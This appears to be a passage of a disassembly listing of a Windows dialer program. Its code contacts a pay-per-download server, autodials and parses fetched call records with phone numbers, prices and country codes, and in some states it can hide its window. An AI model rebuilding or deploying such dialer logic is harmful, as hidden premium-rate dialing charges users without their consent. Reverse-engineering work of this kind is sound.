sub esp, 58h
push ebx
xor ebx, ebx
push esi
cmp eax, ebx
mov esi, ecx
jnz short loc_40669D
mov eax, [esp+60h+arg_0]
push eax
call sub_405140
push eax ; uID
push esi ; int
call sub_4055A0
add esp, 8
pop esi
pop ebx
add esp, 58h
retn 8
; ---------------------------------------------------------------------------
loc_40669D: ; CODE XREF: sub_406670+Fj
lea ecx, [esp+60h+var_58]
lea edx, [esp+60h+bstrString]
push ecx ; int
push eax ; lpString
push edx ; int
mov ecx, esi
mov [esp+6Ch+var_58], ebx
mov [esp+6Ch+var_54], ebx
mov [esp+6Ch+var_50], ebx
mov [esp+6Ch+var_4C], bl
mov [esp+6Ch+var_2E], bl
call sub_406560
mov ecx, eax
call sub_40A2D0
push eax ; arglist
push offset aS ; "%s"
push esi ; int
call sub_405640
mov eax, [esp+6Ch+lpMem]
add esp, 0Ch
cmp eax, ebx
jz short loc_4066EE
push eax ; lpMem
call sub_40AF10
add esp, 4
mov [esp+60h+lpMem], ebx
loc_4066EE: ; CODE XREF: sub_406670+6Fj
mov eax, [esp+60h+bstrString]
mov esi, ds:SysFreeString
push eax ; bstrString
call esi ; SysFreeString
mov eax, [esp+60h+var_54]
cmp eax, ebx
jz short loc_406710
push eax ; lpMem
call sub_40AF10
add esp, 4
mov [esp+60h+var_54], ebx
loc_406710: ; CODE XREF: sub_406670+91j
mov ecx, [esp+60h+var_58]
push ecx ; bstrString
call esi ; SysFreeString
pop esi
pop ebx
add esp, 58h
retn 8
sub_406670 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __thiscall sub_406720(int,int,int,int,int)
sub_406720 proc near ; CODE XREF: sub_402180+142p
lpString = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = byte ptr -78h
var_5A = byte ptr -5Ah
bstrString = dword ptr -58h
lpMem = dword ptr -54h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
sub esp, 88h
push ebx
push esi
mov esi, ecx
xor ebx, ebx
mov ecx, dword_40FBC8
mov [esp+90h+var_84], ebx
mov [esp+90h+var_80], ebx
mov [esp+90h+var_7C], ebx
mov [esp+90h+var_78], bl
mov [esp+90h+var_5A], bl
call sub_40A0B0
cmp eax, 0E10h
jle short loc_40678D
mov eax, [esi+4]
push 1 ; uIDEvent
push eax ; hWnd
call ds:KillTimer ; KillTimer
mov ecx, esi
call sub_407EC0
mov ecx, dword_40FBC8
push 0BB8h
call sub_409F90
mov ecx, esi
call sub_405180
mov eax, [esp+90h+var_80]
cmp eax, ebx
jz loc_406CB1
jmp loc_406CA4
; ---------------------------------------------------------------------------
loc_40678D: ; CODE XREF: sub_406720+30j
mov eax, [esi+5Ch]
push ebp
cmp eax, 9 ; switch 10 cases
push edi ; arglist
ja loc_406C9A ; default
jmp ds:off_406CCC[eax*4] ; switch jump
loc_4067A2: ; DATA XREF: .text:off_406CCCo
cmp ds:byte_40D718, bl ; jumptable 0040679B case 1
jz short loc_4067B5
mov edx, [esi+4]
push ebx ; nCmdShow
push edx ; hWnd
call ds:ShowWindow ; ShowWindow
loc_4067B5: ; CODE XREF: sub_406720+88j
push 1F5h ; uID
push esi ; int
mov dword ptr [esi+5Ch], 2
call sub_4055A0
add esp, 8
mov ecx, esi
push 386h ; uID
push 1 ; nIDDlgItem
call sub_405680
mov ecx, dword_40FBC8
call sub_40A030
push 1FBh ; uID
push esi ; int
call sub_4055A0
add esp, 8
jmp loc_406C9A ; default
; ---------------------------------------------------------------------------
loc_4067F6: ; CODE XREF: sub_406720+7Bj
; DATA XREF: .text:off_406CCCo
cmp ds:byte_40D718, bl ; jumptable 0040679B case 2
jz short loc_406809
mov eax, [esi+4]
push ebx ; nCmdShow
push eax ; hWnd
call ds:ShowWindow ; ShowWindow
loc_406809: ; CODE XREF: sub_406720+DCj
mov ecx, dword_40FBC8
call sub_40A120
test eax, eax
jg loc_406C9A ; default
lea ecx, [esp+98h+lpString]
mov dword ptr [esi+5Ch], 5
push ecx
mov ecx, dword_40FBC8
call sub_409DA0
jmp short loc_4068A3
; ---------------------------------------------------------------------------
loc_406835: ; CODE XREF: sub_406720+7Bj
; DATA XREF: .text:off_406CCCo
cmp ds:byte_40D718, bl ; jumptable 0040679B case 3
jz short loc_406848
mov edx, [esi+4]
push ebx ; nCmdShow
push edx ; hWnd
call ds:ShowWindow ; ShowWindow
loc_406848: ; CODE XREF: sub_406720+11Bj
push 386h ; uID
push 1 ; nIDDlgItem
mov ecx, esi
mov dword ptr [esi+5Ch], 4
call sub_405680
mov ecx, dword_40FBC8
push 0BB8h
call sub_409F90
jmp loc_406C9A ; default
; ---------------------------------------------------------------------------
loc_406872: ; CODE XREF: sub_406720+7Bj
; DATA XREF: .text:off_406CCCo
cmp ds:byte_40D718, bl ; jumptable 0040679B case 4
jz short loc_406885
mov eax, [esi+4]
push ebx ; nCmdShow
push eax ; hWnd
call ds:ShowWindow ; ShowWindow
loc_406885: ; CODE XREF: sub_406720+158j
lea ecx, [esp+98h+lpString]
push ecx
mov ecx, dword_40FBC8
call sub_409DA0
cmp eax, 2001h
jnz short loc_4068A3
mov dword ptr [esi+5Ch], 5
loc_4068A3: ; CODE XREF: sub_406720+113j
; sub_406720+17Aj
mov ecx, [esp+98h+lpString]
cmp ecx, ebx
jz loc_406C9A ; default
push ecx ; lpString
push eax ; int
mov ecx, esi ; int
call sub_406670
jmp loc_406C9A ; default
; ---------------------------------------------------------------------------
loc_4068BD: ; CODE XREF: sub_406720+7Bj
; DATA XREF: .text:off_406CCCo
cmp ds:byte_40D718, bl ; jumptable 0040679B case 5
jz short loc_4068D0
mov edx, [esi+4]
push ebx ; nCmdShow
push edx ; hWnd
call ds:ShowWindow ; ShowWindow
loc_4068D0: ; CODE XREF: sub_406720+1A3j
mov dword ptr [esi+5Ch], 6
mov ecx, dword_40FBC8
call sub_4099D0
mov edi, eax
cmp edi, ebx
jz short loc_406931
lea eax, [esp+98h+var_84]
lea ecx, [esp+98h+bstrString]
push eax ; int
push edi ; lpString
push ecx ; int
mov ecx, esi
call sub_406560
mov ecx, eax
call sub_40A2D0
push eax
push edi ; arglist
push offset aUpdateentryDS ; "UpdateEntry: %d - %s"
push esi ; int
call sub_405640
mov eax, [esp+0A8h+lpMem]
add esp, 10h
cmp eax, ebx
jz short loc_406926
push eax ; lpMem
call sub_40AF10
add esp, 4
mov [esp+98h+lpMem], ebx
loc_406926: ; CODE XREF: sub_406720+1F7j
mov edx, [esp+98h+bstrString]
push edx ; bstrString
call ds:SysFreeString
loc_406931: ; CODE XREF: sub_406720+1C6j
mov ecx, dword_40FBC8
call sub_409CE0
mov edi, eax
cmp edi, ebx
jz short loc_40699A
lea eax, [esp+98h+var_84]
lea ecx, [esp+98h+var_2C]
push eax ; int
push edi ; lpString
push ecx ; int
mov ecx, esi
mov dword ptr [esi+5Ch], 8
call sub_406560
mov ecx, eax
call sub_40A2D0
push eax
push edi ; arglist
push offset aDialDS ; "Dial: %d - %s"
push esi ; int
call sub_405640
mov eax, [esp+0A8h+var_28]
add esp, 10h
cmp eax, ebx
jz short loc_40698A
push eax ; lpMem
call sub_40AF10
add esp, 4
mov [esp+98h+var_28], ebx
loc_40698A: ; CODE XREF: sub_406720+25Bj
mov edx, [esp+98h+var_2C]
push edx ; bstrString
call ds:SysFreeString
jmp loc_406C9A ; default
; ---------------------------------------------------------------------------
loc_40699A: ; CODE XREF: sub_406720+220j
mov dword_40FBD0, 0Ah
jmp loc_406C9A ; default
; ---------------------------------------------------------------------------
loc_4069A9: ; CODE XREF: sub_406720+7Bj
; DATA XREF: .text:off_406CCCo
mov al, ds:byte_40D718 ; jumptable 0040679B case 6
mov edi, ds:ShowWindow
cmp al, bl
jz short loc_4069BF
mov eax, [esi+4]
push ebx ; nCmdShow
push eax ; hWnd
call edi ; ShowWindow
loc_4069BF: ; CODE XREF: sub_406720+296j
lea ecx, [esp+98h+lpString]
push ecx
mov ecx, dword_40FBC8
call sub_409DA0
mov ebp, eax
sub eax, 2000h
jz short loc_406A11
dec eax
jnz loc_406A7A
mov eax, dword_40FBD0
mov edx, eax
dec eax
test edx, edx
mov dword_40FBD0, eax
jg loc_406A7A
mov eax, [esp+98h+lpString]
mov ecx, esi ; int
push eax ; lpString
push ebp ; int
mov byte ptr [esi+55h], 1
mov dword ptr [esi+5Ch], 8
call sub_406670
jmp loc_406C9A ; default
; ---------------------------------------------------------------------------
loc_406A11: ; CODE XREF: sub_406720+2B6j
push 387h ; uID
push 1 ; nIDDlgItem
mov ecx, esi
mov dword ptr [esi+5Ch], 7
call sub_405680
mov ecx, dword_40FBC8
call sub_4099D0
cmp ds:byte_40D718, bl
jnz short loc_406A41
mov eax, [esi+4]
push 2 ; nCmdShow
push eax ; hWnd
call edi ; ShowWindow
loc_406A41: ; CODE XREF: sub_406720+317j
mov ecx, [esi+58h]
push ecx
mov ecx, esi
call sub_407820
push offset aXx ; "xx"
mov ecx, esi
call sub_407820
lea ecx, [esi+20h]
call sub_409400
push eax ; lpFile
mov ecx, esi
call sub_404FF0
mov edx, [esi+4]
push ebx ; lpTimerFunc
push 3E8h ; uElapse
push 1 ; nIDEvent
push edx ; hWnd
call ds:SetTimer ; SetTimer
loc_406A7A: ; CODE XREF: sub_406720+2B9j
; sub_406720+2CEj
mov eax, [esp+98h+lpString]
mov ecx, esi ; int
push eax ; lpString
push ebp ; int
call sub_406670
jmp loc_406C9A ; default
; ---------------------------------------------------------------------------
loc_406A8C: ; CODE XREF: sub_406720+7Bj
; DATA XREF: .text:off_406CCCo
cmp ds:byte_40D718, bl ; jumptable 0040679B case 7
jz short loc_406A9F
mov ecx, [esi+4]
push ebx ; nCmdShow
push ecx ; hWnd
call ds:ShowWindow ; ShowWindow
loc_406A9F: ; CODE XREF: sub_406720+372j
lea edx, [esp+98h+lpString]
mov byte ptr [esi+54h], 1
mov ecx, dword_40FBC8
push edx
call sub_409DA0
mov edi, eax
cmp edi, 2001h
jnz short loc_406AD6
mov eax, [esi+4]
push ebx ; lpTimerFunc
push 0FAh ; uElapse
push 1 ; nIDEvent
push eax ; hWnd
mov dword ptr [esi+5Ch], 8
call ds:SetTimer ; SetTimer
loc_406AD6: ; CODE XREF: sub_406720+39Bj
mov ecx, [esp+98h+lpString]
push ecx ; lpString
push edi ; int
mov ecx, esi ; int
call sub_406670
jmp loc_406C9A ; default
; ---------------------------------------------------------------------------
loc_406AE8: ; CODE XREF: sub_406720+7Bj
; DATA XREF: .text:off_406CCCo
cmp ds:byte_40D718, bl ; jumptable 0040679B case 8
jz short loc_406AFB
mov edx, [esi+4]
push ebx ; nCmdShow
push edx ; hWnd
call ds:ShowWindow ; ShowWindow
loc_406AFB: ; CODE XREF: sub_406720+3CEj
push 386h ; uID
push 1 ; nIDDlgItem
mov ecx, esi
mov dword ptr [esi+5Ch], 9
call sub_405680
mov ecx, dword_40FBC8
push 0BB8h
call sub_409F90
mov eax, [esi+4]
push ebx ; lpTimerFunc
push 0FAh ; uElapse
push 1 ; nIDEvent
push eax ; hWnd
call ds:SetTimer ; SetTimer
jmp loc_406C9A ; default
; ---------------------------------------------------------------------------
loc_406B37: ; CODE XREF: sub_406720+7Bj
; DATA XREF: .text:off_406CCCo
cmp ds:byte_40D718, bl ; jumptable 0040679B case 9
jz short loc_406B4A
mov ecx, [esi+4]
push ebx ; nCmdShow
push ecx ; hWnd
call ds:ShowWindow ; ShowWindow
loc_406B4A: ; CODE XREF: sub_406720+41Dj
mov ecx, dword_40FBC8
lea edx, [esp+98h+lpString]
push edx
call sub_409DA0
cmp eax, 2001h
jnz short loc_406B64
mov [esi+5Ch], ebx
loc_406B64: ; CODE XREF: sub_406720+43Fj
mov ecx, [esp+98h+lpString]
push ecx ; lpString
push eax ; int
mov ecx, esi ; int
call sub_406670
jmp loc_406C9A ; default
; ---------------------------------------------------------------------------
loc_406B76: ; CODE XREF: sub_406720+7Bj
; DATA XREF: .text:off_406CCCo
cmp [esi+54h], bl ; jumptable 0040679B case 0
jnz short loc_406BFA
cmp [esi+56h], bl
jnz short loc_406BFA
lea edi, [esi+20h]
push 2
mov ecx, edi
call sub_4092F0
mov ecx, dword_40FBC8
push eax ; lpString2
call sub_409C70
push 2
mov ecx, edi
call sub_409330
mov ecx, dword_40FBC8
push eax ; lpString2
call sub_409C90
push 2
mov ecx, edi
call sub_409370
mov ecx, dword_40FBC8
push eax ; lpString2
call sub_409C40
mov edx, [esi+4]
push ebx ; lParam
push ebx ; wParam
push 184h ; Msg
push 0CCh ; nIDDlgItem
push edx ; hDlg
mov dword ptr [esi+5Ch], 3
call ds:SendDlgItemMessageA ; SendDlgItemMessageA
mov eax, [esi+4]
push ebx ; lpTimerFunc
push 0FAh ; uElapse
push 1 ; nIDEvent
push eax ; hWnd
call ds:SetTimer ; SetTimer
mov byte ptr [esi+56h], 1
jmp loc_406C97
; ---------------------------------------------------------------------------
loc_406BFA: ; CODE XREF: sub_406720+459j
; sub_406720+45Ej
mov ecx, [esi+4]
push 1 ; uIDEvent
push ecx ; hWnd
call ds:KillTimer ; KillTimer
push 385h ; uID
push 1 ; nIDDlgItem
mov ecx, esi
call sub_405680
mov ecx, dword_40FBC8
lea edi, [esi+20h]
call sub_40A0B0
mov ecx, edi
mov ebp, eax
call sub_409420
add ebp, eax
mov ecx, edi
push ebp
call sub_409410
mov ecx, edi
call sub_4092B0
push 1
mov ecx, edi
call sub_4092F0
mov ecx, dword_40FBC8
push eax ; lpString2
call sub_409C70
push 1
mov ecx, edi
call sub_409330
mov ecx, dword_40FBC8
push eax ; lpString2
call sub_409C90
push 1
mov ecx, edi
call sub_409370
mov ecx, dword_40FBC8
push eax ; lpString2
call sub_409C40
cmp ds:byte_40D718, bl
jz short loc_406C8B
mov edx, [esi+4]
push 5
push edx
jmp short loc_406C91
; ---------------------------------------------------------------------------
loc_406C8B: ; CODE XREF: sub_406720+561j
mov eax, [esi+4]
push 9 ; nCmdShow
push eax ; hWnd
loc_406C91: ; CODE XREF: sub_406720+569j
call ds:ShowWindow ; ShowWindow
loc_406C97: ; CODE XREF: sub_406720+4D5j
mov [esi+55h], bl
loc_406C9A: ; CODE XREF: sub_406720+75j
; sub_406720+D1j ...
mov eax, [esp+98h+var_80] ; default
pop edi
cmp eax, ebx
pop ebp
jz short loc_406CB1
loc_406CA4: ; CODE XREF: sub_406720+68j
push eax ; lpMem
call sub_40AF10
add esp, 4
mov [esp+90h+var_80], ebx
loc_406CB1: ; CODE XREF: sub_406720+62j
; sub_406720+582j
mov ecx, [esp+90h+var_84]
push ecx ; bstrString
call ds:SysFreeString
pop esi
xor eax, eax
pop ebx
add esp, 88h
retn 10h
sub_406720 endp
; ---------------------------------------------------------------------------
align 4
off_406CCC dd offset loc_406B76 ; DATA XREF: sub_406720+7Br
dd offset loc_4067A2 ; jump table for switch statement
dd offset loc_4067F6
dd offset loc_406835
dd offset loc_406872
dd offset loc_4068BD
dd offset loc_4069A9
dd offset loc_406A8C
dd offset loc_406AE8
dd offset loc_406B37
align 10h
; =============== S U B R O U T I N E =======================================
sub_406D00 proc near ; CODE XREF: sub_402180+B6p
var_4 = byte ptr -4
push ecx
push esi
mov esi, ecx
mov ecx, dword_40FBC8
test ecx, ecx
jz short loc_406D2F
lea eax, [esp+8+var_4]
push eax
call sub_409DA0
cmp eax, 2000h
jz short loc_406D41
mov ecx, dword_40FBC8
push 0BB8h
call sub_409F90
loc_406D2F: ; CODE XREF: sub_406D00+Cj
mov ecx, [esi+4]
push ecx ; hWnd
call ds:DestroyWindow ; DestroyWindow
push 0 ; nExitCode
call ds:PostQuitMessage ; PostQuitMessage
loc_406D41: ; CODE XREF: sub_406D00+1Dj
xor eax, eax
pop esi
pop ecx
retn 10h
sub_406D00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; int __thiscall sub_406D50(int,int,int,int,int)
sub_406D50 proc near ; CODE XREF: sub_402180+FDp
String1 = dword ptr -200h
sub esp, 200h
push esi
push edi
mov edi, ds:SendDlgItemMessageA
mov esi, ecx
push 0 ; lParam
push 0 ; wParam
mov eax, [esi+4]
push 147h ; Msg
push 0C9h ; nIDDlgItem
push eax ; hDlg
call edi ; SendDlgItemMessageA
mov edx, [esi+4]
lea ecx, [esp+208h+String1]
push ecx ; lParam
push eax ; wParam
push 148h ; Msg
push 0C9h ; nIDDlgItem
push edx ; hDlg
call edi ; SendDlgItemMessageA
mov ecx, dword_40FBC8
lea eax, [esp+208h+String1]
push eax ; lpString1
call sub_4097E0
test eax, eax
jge short loc_406DDC
lea ecx, [esp+208h+String1]
push ecx ; arglist
push 1F4h ; uID
push esi ; int
call sub_4055A0
mov ecx, dword_40FBC8
add esp, 0Ch
call sub_409B80
mov edx, [esi+4]
push eax ; lParam
push 0 ; wParam
push 14Dh ; Msg
push 0C9h ; nIDDlgItem
push edx ; hDlg
call edi ; SendDlgItemMessageA
pop edi
xor eax, eax
pop esi
add esp, 200h
retn 10h
; ---------------------------------------------------------------------------
loc_406DDC: ; CODE XREF: sub_406D50+4Cj
mov ecx, dword_40FBC8
push eax
call sub_409720
pop edi
xor eax, eax
pop esi
add esp, 200h
retn 10h
sub_406D50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_406E00 proc near ; CODE XREF: sub_402180+186p
String2 = byte ptr -0Ch
sub esp, 0Ch
lea eax, [esp+0Ch+String2]
push esi
mov esi, ecx
push 0Ah ; cchMax
push eax ; lpString
mov ecx, [esi+4]
push 0CEh ; nIDDlgItem
push ecx ; hDlg
call ds:GetDlgItemTextA ; GetDlgItemTextA
mov ecx, dword_40FBC8
lea edx, [esp+10h+String2]
push edx ; lpString2
call sub_409C20
mov al, [esi+4Eh]
test al, al
jnz short loc_406E3F
lea eax, [esp+10h+String2]
mov ecx, esi
push eax ; lpData
call sub_4084F0
loc_406E3F: ; CODE XREF: sub_406E00+31j
xor eax, eax
pop esi
add esp, 0Ch
retn 10h
sub_406E00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_406E50 proc near ; CODE XREF: sub_402180+1C2p
push 74h ; uID
call sub_405020
xor eax, eax
retn 10h
sub_406E50 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_406E60 proc near ; CODE XREF: sub_405C90+1AAp
var_B10 = byte ptr -0B10h
String = byte ptr -310h
var_110 = byte ptr -110h
var_F0 = byte ptr -0F0h
var_D0 = byte ptr -0D0h
var_B0 = byte ptr -0B0h
String2 = byte ptr -9Ch
bstrString = dword ptr -88h
lpMem = dword ptr -84h
var_80 = dword ptr -80h
var_7C = byte ptr -7Ch
var_5E = byte ptr -5Eh
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
dwDisposition = dword ptr -44h
var_40 = byte ptr -40h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
cbData = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
hKey = dword ptr -10h
var_A = byte ptr -0Ah
var_9 = byte ptr -9
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = byte ptr -4
var_3 = byte ptr -3
var_2 = byte ptr -2
var_1 = byte ptr -1
push ebp
mov ebp, esp
sub esp, 0B10h
push ebx
push esi
mov esi, ds:InternetCheckConnectionA
push edi
push 0
mov edi, ecx
push 1
push offset aHttpPrs_payper ; "http://prs.payperdownload.nl"
mov [ebp+var_54], edi
call esi ; InternetCheckConnectionA
test eax, eax
jnz short loc_406EAE
mov al, [edi+54h]
test al, al
jnz loc_407804
push 0
push 2
call ds:InternetAutodial ; InternetAutodial
push 0
push 1
push offset aHttpPrs_payper ; "http://prs.payperdownload.nl"
call esi ; InternetCheckConnectionA
test eax, eax
jz loc_407804
loc_406EAE: ; CODE XREF: sub_406E60+24j
push 0
push 0
push 0
push 0
push offset aDel ; "del"
call ds:InternetOpenA ; InternetOpenA
test eax, eax
mov [ebp+var_58], eax
jz loc_407804
push 0
push 0
push 0
push 0
push offset aHttpPrs_payp_0 ; "http://prs.payperdownload.nl/radius/dia"...
push eax
call ds:InternetOpenUrlA ; InternetOpenUrlA
test eax, eax
mov [ebp+var_5C], eax
jz loc_4077E6
lea ecx, [ebp+var_50]
lea edx, [ebp+var_B10]
push ecx
push 800h
push edx
push eax
mov esi, 0FFFFFFFDh
call ds:InternetReadFile ; InternetReadFile
test eax, eax
jz loc_4077C3
mov ecx, [ebp+var_50]
test ecx, ecx
jz loc_4077C3
xor eax, eax
xor esi, esi
xor edx, edx
cmp ecx, eax
mov [ebp+ecx+var_B10], 0
mov [ebp+var_8], 0
mov [ebp+var_7], 0
mov [ebp+var_9], 0
mov [ebp+var_12], 0
mov [ebp+var_11], 0
mov [ebp+var_14], 0
mov [ebp+var_13], 0
mov [ebp+var_1], 0
mov [ebp+var_3], 0
mov [ebp+var_2], 0
mov [ebp+var_5], 0
mov [ebp+var_4], 0
mov [ebp+var_6], 0
mov [ebp+var_A], 0
mov [ebp+hKey], eax
mov [ebp+var_38], eax
mov [ebp+var_4C], eax
mov [ebp+var_2C], eax
mov [ebp+cbData], eax
mov [ebp+var_24], eax
mov [ebp+var_18], eax
mov [ebp+var_1C], edx
mov [ebp+var_28], eax
mov [ebp+dwDisposition], eax
mov [ebp+var_48], eax
mov [ebp+var_34], eax
jbe loc_40723C
mov ebx, 1
lea edi, [ebp+var_B10]
loc_406F97: ; CODE XREF: sub_406E60+3D0j
mov al, [ebp+var_A]
test al, al
jnz loc_407236
movsx eax, byte ptr [edi]
sub eax, 22h
jz loc_40716C
sub eax, 1Ah
jz loc_407163
sub eax, 2
jz loc_40713B
cmp ebx, 7D1h
jg loc_407549
mov al, [ebp+var_9]
test al, al
jz short loc_40703C
push 0Bh
push edi
push offset aCallrecords ; "callrecords"
call sub_40B490
add esp, 0Ch
test eax, eax
jnz short loc_406FF9
add esi, 0Ah
add edi, 0Ah
mov [ebp+var_8], 1
add ebx, 0Ah
jmp loc_407228
; ---------------------------------------------------------------------------
loc_406FF9: ; CODE XREF: sub_406E60+185j
push 0Ch
push edi
push offset aCallrecords_0 ; "/callrecords"
call sub_40B490
add esp, 0Ch
test eax, eax
jnz short loc_407016
mov [ebp+var_A], 1
jmp loc_407228
; ---------------------------------------------------------------------------
loc_407016: ; CODE XREF: sub_406E60+1ABj
push 4
push edi
push offset aCall ; "call"
call sub_40B490
add esp, 0Ch
test eax, eax
jnz short loc_40703C
add esi, 3
add edi, 3
mov [ebp+var_7], 1
add ebx, 3
jmp loc_407228
; ---------------------------------------------------------------------------
loc_40703C: ; CODE XREF: sub_406E60+171j
; sub_406E60+1C8j
mov al, [ebp+var_7]
test al, al
jz loc_407228
push 0Ah
push edi
push offset aRealnumber ; "realnumber"
call sub_40B490
add esp, 0Ch
test eax, eax
jnz short loc_407095
mov [ebp+var_1], al
mov [ebp+var_3], al
mov [ebp+var_2], al
mov [ebp+var_5], al
mov al, [ebp+var_11]
test al, al
jnz short loc_407074
mov [ebp+var_2], 1
jmp short loc_40707F
; ---------------------------------------------------------------------------
loc_407074: ; CODE XREF: sub_406E60+20Cj
mov al, [ebp+var_14]
test al, al
jnz short loc_40707F
mov [ebp+var_5], 1
loc_40707F: ; CODE XREF: sub_406E60+212j
; sub_406E60+219j
add esi, 9
add edi, 9
mov [ebp+var_4], 0
mov [ebp+var_6], 0
add ebx, 9
jmp loc_407228
; ---------------------------------------------------------------------------
loc_407095: ; CODE XREF: sub_406E60+1F9j
push 5
push edi
push offset aPrice ; "price"
call sub_40B490
add esp, 0Ch
test eax, eax
jnz short loc_4070E6
mov [ebp+var_1], al
mov [ebp+var_3], al
mov [ebp+var_2], al
mov [ebp+var_5], al
mov [ebp+var_4], al
mov [ebp+var_6], al
mov al, [ebp+var_13]
test al, al
jnz short loc_4070D4
add esi, 4
add edi, 4
mov [ebp+var_4], 1
add ebx, 4
jmp loc_407228
; ---------------------------------------------------------------------------
loc_4070D4: ; CODE XREF: sub_406E60+260j
add esi, 4
add edi, 4
mov [ebp+var_6], 1
add ebx, 4
jmp loc_407228
; ---------------------------------------------------------------------------
loc_4070E6: ; CODE XREF: sub_406E60+247j
push 0Bh
push edi
push offset aCountrycode ; "countrycode"
call sub_40B490
add esp, 0Ch
test eax, eax
jnz loc_407228
mov [ebp+var_1], al
mov [ebp+var_3], al
mov [ebp+var_2], al
mov [ebp+var_5], al
mov [ebp+var_4], al
mov [ebp+var_6], al
mov al, [ebp+var_12]
test al, al
jnz short loc_407129
add esi, 4
add edi, 4
mov [ebp+var_1], 1
add ebx, 4
jmp loc_407228
; ---------------------------------------------------------------------------
loc_407129: ; CODE XREF: sub_406E60+2B5j
add esi, 4
add edi, 4
mov [ebp+var_3], 1
add ebx, 4
jmp loc_407228
; ---------------------------------------------------------------------------
loc_40713B: ; CODE XREF: sub_406E60+15Aj
mov al, [ebp+var_8]
test al, al
jz short loc_40714F
mov [ebp+var_8], 0
mov [ebp+var_9], 0
jmp loc_407228
; ---------------------------------------------------------------------------
loc_40714F: ; CODE XREF: sub_406E60+2E0j
mov al, [ebp+var_7]
test al, al
jz short loc_40715A
mov [ebp+var_7], 0
loc_40715A: ; CODE XREF: sub_406E60+2F4j
mov [ebp+var_9], 0
jmp loc_407228
; ---------------------------------------------------------------------------
loc_407163: ; CODE XREF: sub_406E60+151j
mov [ebp+var_9], 1
jmp loc_407228
; ---------------------------------------------------------------------------
loc_40716C: ; CODE XREF: sub_406E60+148j
mov al, [ebp+var_2]
test al, al
jz short loc_407192
mov eax, [ebp+cbData]
test eax, eax
jle short loc_40718A
mov [ebp+var_2], 0
mov [ebp+var_11], 1
mov [ebp+var_24], esi
jmp loc_407228
; ---------------------------------------------------------------------------
loc_40718A: ; CODE XREF: sub_406E60+318j
mov [ebp+cbData], ebx
jmp loc_407228
; ---------------------------------------------------------------------------
loc_407192: ; CODE XREF: sub_406E60+311j
mov al, [ebp+var_5]
test al, al
jz short loc_4071B2
mov eax, [ebp+var_18]
test eax, eax
jle short loc_4071AD
mov [ebp+var_5], 0
mov [ebp+var_14], 1
mov [ebp+var_1C], esi
jmp short loc_407228
; ---------------------------------------------------------------------------
loc_4071AD: ; CODE XREF: sub_406E60+33Ej
mov [ebp+var_18], ebx
jmp short loc_407228
; ---------------------------------------------------------------------------
loc_4071B2: ; CODE XREF: sub_406E60+337j
mov al, [ebp+var_4]
test al, al
jz short loc_4071D2
mov eax, [ebp+var_28]
test eax, eax
jle short loc_4071CD
mov [ebp+var_4], 0
mov [ebp+var_13], 1
mov [ebp+dwDisposition], esi
jmp short loc_407228
; ---------------------------------------------------------------------------
loc_4071CD: ; CODE XREF: sub_406E60+35Ej
mov [ebp+var_28], ebx
jmp short loc_407228
; ---------------------------------------------------------------------------
loc_4071D2: ; CODE XREF: sub_406E60+357j
mov al, [ebp+var_6]
test al, al
jz short loc_4071EE
mov eax, [ebp+var_48]
test eax, eax
jle short loc_4071E9
mov [ebp+var_6], 0
mov [ebp+var_34], esi
jmp short loc_407228
; ---------------------------------------------------------------------------
loc_4071E9: ; CODE XREF: sub_406E60+37Ej
mov [ebp+var_48], ebx
jmp short loc_407228
; ---------------------------------------------------------------------------
loc_4071EE: ; CODE XREF: sub_406E60+377j
mov al, [ebp+var_1]
test al, al
jz short loc_40720E
mov eax, [ebp+hKey]
test eax, eax
jle short loc_407209
mov [ebp+var_1], 0
mov [ebp+var_12], 1
mov [ebp+var_38], esi
jmp short loc_407228
; ---------------------------------------------------------------------------
loc_407209: ; CODE XREF: sub_406E60+39Aj
mov [ebp+hKey], ebx
jmp short loc_407228
; ---------------------------------------------------------------------------
loc_40720E: ; CODE XREF: sub_406E60+393j
mov al, [ebp+var_3]
test al, al
jz short loc_407228
mov eax, [ebp+var_4C]
test eax, eax
jle short loc_407225
mov [ebp+var_3], 0
mov [ebp+var_2C], esi
jmp short loc_407228
; ---------------------------------------------------------------------------
loc_407225: ; CODE XREF: sub_406E60+3BAj
mov [ebp+var_4C], ebx
loc_407228: ; CODE XREF: sub_406E60+194j
; sub_406E60+1B1j ...
mov eax, [ebp+var_50]
inc esi
inc edi
inc ebx
cmp esi, eax
jb loc_406F97
loc_407236: ; CODE XREF: sub_406E60+13Cj
mov eax, [ebp+var_24]
mov edx, [ebp+var_1C]
loc_40723C: ; CODE XREF: sub_406E60+126j
mov esi, [ebp+cbData]
mov ecx, 13h
sub eax, esi
cmp eax, 13h
mov [ebp+cbData], eax
jg short loc_407250
mov ecx, eax
loc_407250: ; CODE XREF: sub_406E60+3ECj
mov ebx, ecx
lea esi, [ebp+esi+var_B10]
lea edi, [ebp+String2]
shr ecx, 2
rep movsd
mov ecx, ebx
and ecx, 3
rep movsb
mov esi, [ebp+var_18]
mov [ebp+eax+String2], 0
sub edx, esi
mov ecx, 13h
mov eax, edx
cmp eax, 13h
mov [ebp+var_1C], eax
jg short loc_407289
mov ecx, eax
loc_407289: ; CODE XREF: sub_406E60+425j
mov edx, ecx
lea esi, [ebp+esi+var_B10]
lea edi, [ebp+var_B0]
shr ecx, 2
rep movsd
mov ecx, edx
mov edx, [ebp+var_28]
and ecx, 3
rep movsb
mov [ebp+eax+var_B0], 0
mov eax, [ebp+dwDisposition]
sub eax, edx
mov ecx, 1Dh
cmp eax, 1Dh
